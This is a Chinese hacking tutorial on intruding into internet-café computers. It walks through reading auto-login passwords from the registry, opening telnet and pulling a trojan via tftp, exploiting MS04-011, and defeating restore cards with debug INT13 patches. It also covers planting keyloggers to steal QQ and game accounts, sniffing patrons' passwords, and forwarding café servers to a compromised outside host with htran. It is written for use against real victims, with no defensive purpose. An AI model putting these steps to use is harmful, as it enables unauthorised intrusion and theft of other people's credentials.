网吧入侵之攻无不克!
网吧入侵之攻无不克!
发布时间:2016-12-26 来源:查字典编辑
摘要:作者:hacker.a…文章来源:hacker.ab8.cn经常看x档案,发现关于破解pubwin和万象的文章比较多,今天我决定写点网吧入侵...

作者:hacker.a…文章来源:hacker.ab8.cn

经常看x档案,发现关于破解pubwin和万象的文章比较多,今天我决定写点网吧入侵方面的文章,希望对一些小菜有所帮助.

一.网吧入侵

入侵的方法很多,但对网吧入侵最常用的方法是什么呢?首先,自动登陆。现在网吧一般都是win2000或者windowsxp的机器,网管一般都把机子设置为自动登陆!这样我们开机进入系统的时候登陆窗口一闪而过!着时候如果我们findfass.exe试图把登陆账号密码找出来是不会成功的!因为账号密码根本不在内存中,而findfass.exe通过winlogon的PID号和正确的域名中,在内存寻找好段加了密的内存块(保存着加密过的登陆密码),然后对它进行解密,这样就能得到明文的密码。实际上自动登陆的账号密码都在注册表中。我们打开注册表HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionWinlogon这个目录下,AutoAdminLogon这一项的键值为1,表示自动登陆。为1的时候,打开控制面板的用户和密码,会发现需要密码前面的钩已经去掉了。DefaultUserName对应的键值就是登陆用户名,DefaultPassword对应的键值就是登陆密码。实际上海洋顶端木马2006就有着一功能,原理是一样的,不过因为权限的问题,不一定能读出来。这样,密码账号我们都找出来了。而且你要知道,一个网吧的自动登陆密码账号一般都是一样的,而且网管为了方便网虫上网一般把他们设置在管理员组,至少user组。知道了密码账号还愁入侵不了么?网吧机子的server服务一般是禁用的,那我们就不能用ipc入侵了。opentelnet.exe我们也用不了,因为着个也依赖ipc连接,dameware远程控制也不行,道理一样。我们可以用recton着个小巧实用的工具来开telnet,这个工具在win2000下面特别好使。

如图1。

开了telnet后,我们telnet上去,先在本机打开tftpd32.exe,再telnet下面telnet-imyipget3721.exec:3721.exe,这样就把我们的木马3721.exe比如radmin传过去了。

再在telnet下面直接运行3721.exe就ok了。

另一个方法就是ms04011漏洞,别以为着个漏洞已经过时了,在网吧这个漏洞还是相当普遍的,许多网吧的网管只会装游戏,重装系统,不重视着写漏洞,懒得打补丁!我们用DSScan扫描192.168.0.1-192.168.0.255,一般会你会很惊喜的。我们到用ms04011溢出工具溢出,一下子就得到了系统权限。

如图3.

还有很多入侵方法,你可以把xscan搬出来扫描一下。很多菜鸟喜欢用啊D工具包来扫网吧的空口令,实际上这个工具扫用户账号密码很弱,以前我试过,我用上面第一种方法发现网吧都有一个密码为空的管理员账号,用啊D工具包只扫出几台机子有这个账号。我经常用我的最爱

闪电狐——火狐端口扫描器来扫一下网吧主机,第一服务器等。着个扫描器速度很快,扫1到10000端口也要不了几分钟。如果发现服务器开80断口,自然是看是不是架设了网站。再看网站十分有漏洞,想办法传个asp木马上去提升权限。如果发现电影服务器装了serv_u,而且你有了一个账号,可以尝试一下serv_u的溢出。

二.网吧牧马

在网吧安装木马最重要的是把它的还原破了,现在网吧的还原系统一般有3种,即还原卡,还原精灵,冰点还原精灵。硬盘还原卡其实所谓硬盘保护卡就是在ROM中写了一段HOOKINT13的程序,屏蔽了

一些功能调用如AH=3,5等,在中断向量表中INT13的SEG,OFFSET

描述为[13h*4+2],[13h*4],将此中的程序先保存后,再替换为自己的代码,

当你AH=2的时,它便会call原始INT13地址来完成(商周)作.

只要找到原始INT13入口便可以为所欲为.

具体过程如下:

开机过程按住F8键,进入纯dos环境,注";"后为注释.

出现提示符c:,

键入c:debug,

-a100

-xorax,ax

-int13

-int3

;寻找原始的int13入口.

然后输入t回车,不断的重复,直到显示的地址形如F000:xxxx

,后面的指令为:movdl,80(练练眼力-。按q退出.

记下这一地址,在(0:13H*4)=0:4cH处填入这个地址。

例如俺的得到的地址是F000:9A95

再次运行debug,键入:

-e0:4c959A00F0e的作用将数据表"959A00f0",写入地址0:4c开始的字节中.

-q

注:填的时候要仔细,填错的话会死机。ok,破解完成.

这时在提示符c:键入

c:win

进入windows系统即可,那么这次你在windows系统中的一切(商周)作,随着下一次

的启动都会被还原卡存储起来。

这种办法大家都知道,不过操作起来也有点危险,弄不好启动不了。而且win2000没有dos环境,到底性不行呢?呵呵,我还没有

做这个危险的尝试。不过望上有很多关于破解还原卡的工具可以下载,到底什么工具最好使,大家自己测试。

至于还原卡,网上有密码读取器,不过着工具只能在win98下面使用。在win2k下面我们可以用winhex来破解,次方法很奏效,

应该是最好的办法。先随便输个错误的密码,弹出错误窗口后不动,用winhex查找主要内存,找到还原精灵,再搜索我们开始

输的错误密码。在错误密码的旁边应该就有正确的密码。我们输入正确的密码转存就行了。这里很简单,就不截图了!

至于冰点还原,好像还没有破解办法,这个的确很厉害。不过他有个选项,就是重启多少次后不还原,没事你可以多重启

试一下,别把机子整坏了就行。

破了还原后就装木马了。我们最好装键盘记录或密码截获木马,盗qq,游戏账号,邮箱账号等等。比如密码结巴等工具,也可以

把浏览器默认主页设置为你的网页木马。如果网吧的默认主页都是一样,而你有能力入侵了那个网站,在默认主页上挂马那更好!

三.网吧嗅探。

如果你想知道网吧某个mm的qq号,那你就用QQSniffer,Ver2005build5.5。也可以用xniffer,用于嗅探域网中或本机的pop.smtp.ftp等明文传输的tcp/ip协议密码。格式是xsiff.exe-pass-hide-logpass.logxsiff.exe-tcp-udp-asc-addr192.168.1.1。如果你不喜欢着个,还有个密码监听器,密码监听器用于监听网页的密码,包括网页上的邮箱、论坛、聊天室等等。只需在一台电脑上运行,就可以监听局域网内任意一台电脑登录的账号和密码,并将密码显示、保存,或发送到用户指定的邮箱。我就经常有密码监听器2.4破解版在网吧监听别人

密码!当然网吧最适合dns欺骗!

如图3。

四.端口转发。

为了能随时随地控制网吧机器,在家也可以!我们最好来个端口转发。首先我们可以用fport.exe(这个工具在angelshell1.0包里面有),格式为fport但是使用他可以不必安装后门,只需要普通的权限即可执行。网吧服务器一般是win2000server版的,我们趁管理员不注意,给他开3389。如果他的ip为192.168.0.1,我们就在他的命令行下执行fport.exe3389myip9999,这里的myip可以是我们的一只有公网ip的肉鸡。我们再在公网ip的肉鸡上运行FportClient.exe着个是客户端。着样我们登陆公网ip的肉鸡的9999端口就进了网吧主机。在上面看第电影赶什么都行,不被发现就行了,我们动作轻点就行了。我们也可以给网吧主机装代理。就用htran2.4,SocksCap。在网吧主机命令行下上执行htran.exe-install(安装Socks5服务),htran.exe-start(启动Socks5服务),再执行"htran.exe-s-connect共网肉鸡ip3389。在自己的共网肉鸡上执行htran.exe-s-listen33895200(监听端口).现在用SocksCap连接218.3.1.1的5200端口,就等于进入了网吧主机。我们也可以

用vidc来映射端口,这个和fport差不多就不多说了。

到这里本文要结束了,其实也没有什么高深的技术,高手见笑了。其实入侵的时候会碰到各种各样的问题,能否解决这这些问题。是高手和菜鸟的本质区别!希望喜欢交流技术的朋友和我联系,我的qq是:156544632。我的站

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新漏洞研究学习
热门漏洞研究学习
实用技巧子分类